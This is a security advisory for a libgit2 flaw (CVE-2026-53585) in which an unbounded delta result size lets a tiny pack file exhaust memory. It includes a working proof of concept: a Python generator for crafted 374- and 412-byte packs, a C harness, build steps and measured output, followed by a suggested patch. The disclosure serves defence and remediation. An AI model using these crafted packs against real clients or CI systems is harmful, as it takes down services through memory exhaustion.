GHSA-27m5-gxxh-x79j on CTRL-OS 26.05
Aliases: GHSA-27m5-gxxh-x79j, CVE-2026-53585
Packages: libgit2
Status: Plausible
Advisory Information
======================================================================== DESCRIPTION ======================================================================== git_delta_apply() reads the claimed result size (res_sz) from the delta object header — data entirely controlled by the sender — and immediately allocates a buffer of that size before examining any delta instructions: // delta.c:563 — res_sz read from attacker-controlled stream, no limit: if (hdr_sz(&res_sz, &delta, delta_end) < 0) { git_error_set(GIT_ERROR_INVALID, "..."); return -1; } // delta.c:568 — allocation BEFORE any instruction validation: GIT_ERROR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1); res_dp = git__malloc(alloc_sz); // ← unconstrained res_sz is encoded as a variable-length integer; values up to SIZE_MAX-1 can be encoded in a handful of bytes. The only existing guard, GIT_ERROR_CHECK_ALLOC_ADD, prevents integer overflow at SIZE_MAX but imposes no semantic upper bound. The object cache limits in pack.h (1 MB per cached object, 16 MB total) operate at a different layer (pack_packfile_cache_add) and do NOT prevent this allocation: git__malloc() is called unconditionally first. Crucially, if the attacker also supplies valid delta instructions that fill exactly res_sz bytes, the allocation is retained in the returned object buffer — making this a clean memory exhaustion with no sanitizer errors. Multi-level OFS_DELTA chains allow a single small pack to trigger exponentially larger allocations at each level. Affected code paths: - git_clone / git_fetch / git_remote_fetch against a malicious remote - git_indexer_append() / git_indexer_commit() receiving pack data - Reading local pack files from an attacker-supplied repository ======================================================================== PROOF OF CONCEPT ======================================================================== Two crafted pack files were generated and tested. Both contain valid delta instructions that fully fill the declared result size, so the allocation is retained (not freed on the error path). Pack A — delta_100mb.pack (374 bytes) Structure: OBJ_BLOB base: 64 KB of 'A' bytes (zlib-compressed to ~68 bytes) OFS_DELTA: res_sz = 104,857,600 (100 MB) 1,600 × COPY(offset=0, len=65536) — valid, fills 100 MB instruction stream compressed to ~23 bytes Result: ~118 MB RSS increase (amplification ~323,000×) Pack B — chain_1gb.pack (412 bytes) Structure: OBJ_BLOB base: 64 KB (same as above) OFS_DELTA 1: res_sz = 1,048,576 (1 MB), 16 COPY instructions OFS_DELTA 2: res_sz = 1,073,741,824 (1 GB), 16,384 COPY instructions Result: ~1.03 GB RSS increase (amplification ~2,614,000×) Reproduction steps ------------------ 1. Clone the repository: git clone https://github.com/libgit2/libgit2.git cd libgit2 2. Build with ASAN (UBSAN excluded from this test — SHA1DC alignment warnings abort the process before RSS can be measured; see separate sha1dc report for that finding): cmake -B build \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_FLAGS="-fsanitize=address -fno-sanitize-recover=all \ -g -fno-omit-frame-pointer" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DUSE_HTTPS=OFF -DUSE_SHA256=builtin \ -DUSE_NTLMCLIENT=OFF -DBUILD_TESTS=OFF -DBUILD_CLI=OFF cmake --build build -- -j$(nproc) 3. Generate the crafted pack files (gen_packs.py): import zlib, struct, hashlib, os def varint(n): buf = [n & 0x7f] n >>= 7 while n: buf[-1] |= 0x80 buf.append(n & 0x7f) n >>= 7 return bytes(buf) def pack_obj_hdr(t, s): b0 = (t << 4) | (s & 0x0f); s >>= 4; buf = [] while s: buf.append(b0 | 0x80); b0 = s & 0x7f; s >>= 7 buf.append(b0); return bytes(buf) def ofs_encode(n): buf = [n & 0x7f]; n >>= 7 while n: n -= 1; buf.insert(0, 0x80 | (n & 0x7f)); n >>= 7 return bytes(buf) def make_delta(base_sz, res_sz): d = varint(base_sz) + varint(res_sz) full, rem = divmod(res_sz, 65536) d += b'\x80' * full if rem: d += bytes([0x90, rem & 0xff]) + (bytes([(rem >> 8) & 0xff]) if rem > 0xff else b'') return d BASE = b'A' * 65536 base_comp = zlib.compress(BASE, 9) base_hdr = pack_obj_hdr(3, len(BASE)) base_obj = base_hdr + base_comp # Pack A: 100 MB single-level d100 = make_delta(len(BASE), 100 * 1024 * 1024) d100c = zlib.compress(d100, 9) obj_a = pack_obj_hdr(6, len(d100)) + ofs_encode(len(base_obj)) + d100c body_a = b'PACK' + struct.pack('>II', 2, 2) + base_obj + obj_a open('delta_100mb.pack', 'wb').write(body_a + hashlib.sha1(body_a).digest()) # Pack B: 1 GB two-level chain d1m = make_delta(len(BASE), 1024*1024) d1mc = zlib.compress(d1m, 9) obj1 = pack_obj_hdr(6, len(d1m)) + ofs_encode(len(base_obj)) + d1mc d1g = make_delta(1024*1024, 1024*1024*1024) d1gc = zlib.compress(d1g, 9) obj2 = pack_obj_hdr(6, len(d1g)) + ofs_encode(len(obj1)) + d1gc body_b = b'PACK' + struct.pack('>II', 2, 3) + base_obj + obj1 + obj2 open('chain_1gb.pack', 'wb').write(body_b + hashlib.sha1(body_b).digest()) print(f'delta_100mb.pack: {os.path.getsize("delta_100mb.pack")} bytes') print(f'chain_1gb.pack: {os.path.getsize("chain_1gb.pack")} bytes') python3 gen_packs.py # Output: # delta_100mb.pack: 374 bytes # chain_1gb.pack: 412 bytes 4. Write a test harness (test_indexer.c): #include <stdio.h> #include <stdlib.h> #include <sys/resource.h> #include "git2.h" static long rss_kb(void) { struct rusage r; return (getrusage(RUSAGE_SELF, &r) == 0) ? r.ru_maxrss : -1; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <pack>\n", argv[0]); return 1; } git_libgit2_init(); git_indexer *idx = NULL; git_indexer_options opts = GIT_INDEXER_OPTIONS_INIT; opts.verify = 0; char tmp[] = "/tmp/idx_XXXXXX"; mkdtemp(tmp); git_indexer_new(&idx, tmp, 0, NULL, &opts); git_indexer_progress st = {0}; FILE *f = fopen(argv[1], "rb"); unsigned char buf[65536]; size_t n; long before = rss_kb(); printf("[*] RSS before: %ld KB\n", before); while ((n = fread(buf, 1, sizeof(buf), f)) > 0) git_indexer_append(idx, buf, n, &st); fclose(f); if (git_indexer_commit(idx, &st) < 0) fprintf(stderr, "commit: %s\n", git_error_last()->message); long after = rss_kb(); printf("[*] RSS after: %ld KB\n", after); printf("[+] RSS delta: %ld KB (~%ld MB)\n", after - before, (after - before) / 1024); git_indexer_free(idx); git_libgit2_shutdown(); return 0; } 5. Compile and run: gcc -o test_indexer test_indexer.c -Iinclude -Lbuild -lgit2 \ -Wl,-rpath,build -fsanitize=address -fno-omit-frame-pointer -g ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \ LD_LIBRARY_PATH=build \ ./test_indexer delta_100mb.pack ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \ LD_LIBRARY_PATH=build \ ./test_indexer chain_1gb.pack ======================================================================== OBSERVED OUTPUT ======================================================================== Tested on x86_64 Linux and i686 Linux (libgit2 main, commit 873ab30fe): 64-bit — delta_100mb.pack (374 bytes, 100 MB claim): RSS before: 40,668 KB RSS after: 158,736 KB RSS delta: ~118 MB amplification: ~323,000× 64-bit — chain_1gb.pack (412 bytes, 1 GB claim): RSS before: 40,452 KB RSS after: 1,093,960 KB RSS delta: ~1.03 GB amplification: ~2,614,000× 32-bit — delta_100mb.pack (374 bytes, 100 MB claim): RSS before: 26,480 KB RSS after: 147,196 KB RSS delta: ~118 MB amplification: ~323,000× ASAN reported no memory errors in any run. The vulnerability is a design-level issue: the claimed result size is trusted unconditionally. ======================================================================== IMPACT ======================================================================== Availability: Complete process memory exhaustion from a single network connection. A 412-byte pack triggers >1 GB allocation; a larger chain or res_sz value can exhaust all available RAM on the host. Affected operations: git_clone, git_fetch, git_remote_fetch, and any higher-level API that fetches pack data over HTTP/HTTPS/SSH/git protocol from an untrusted source. Authentication required: None. The attack fires the moment a client opens a connection to an attacker-controlled repository URL. Platforms: x86_64 and i686 Linux confirmed; expected to affect all platforms where the library is built. CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H — 6.5 (Medium-High) UI:N applies when clone/fetch targets are supplied by the attacker (e.g., CI/CD pipelines) — score becomes 7.5 (High). ======================================================================== SUGGESTED FIX (src/libgit2/delta.c) ======================================================================== Add a result-size guard immediately after reading res_sz, before the allocation. The limit below is conservative and could be made configurable via git_libgit2_opts() if finer control is needed: --- a/src/libgit2/delta.c +++ b/src/libgit2/delta.c if (hdr_sz(&res_sz, &delta, delta_end) < 0) { git_error_set(GIT_ERROR_INVALID, "..."); return -1; } + /* Reject implausibly large delta results before allocating. */ + if (res_sz > 2UL * 1024 * 1024 * 1024) { + git_error_set(GIT_ERROR_INVALID, + "failed to apply delta: result size exceeds 2 GB limit"); + return -1; + } + GIT_ERROR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1); res_dp = git__malloc(alloc_sz); An alternative is to expose a GIT_OPT_SET_PACK_MAX_OBJECT_SIZE option (analogous to GIT_OPT_SET_PACK_MAX_OBJECTS) so callers can tune the limit per deployment. ======================================================================== CREDITS ======================================================================== This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
Updates
2026-08-21 15:50 CEST
Metadata changes:
- Status for package
libgit2: “Plausible”
2026-08-21 15:43 CEST
Metadata changes:
- Status for package
libgit2: “New”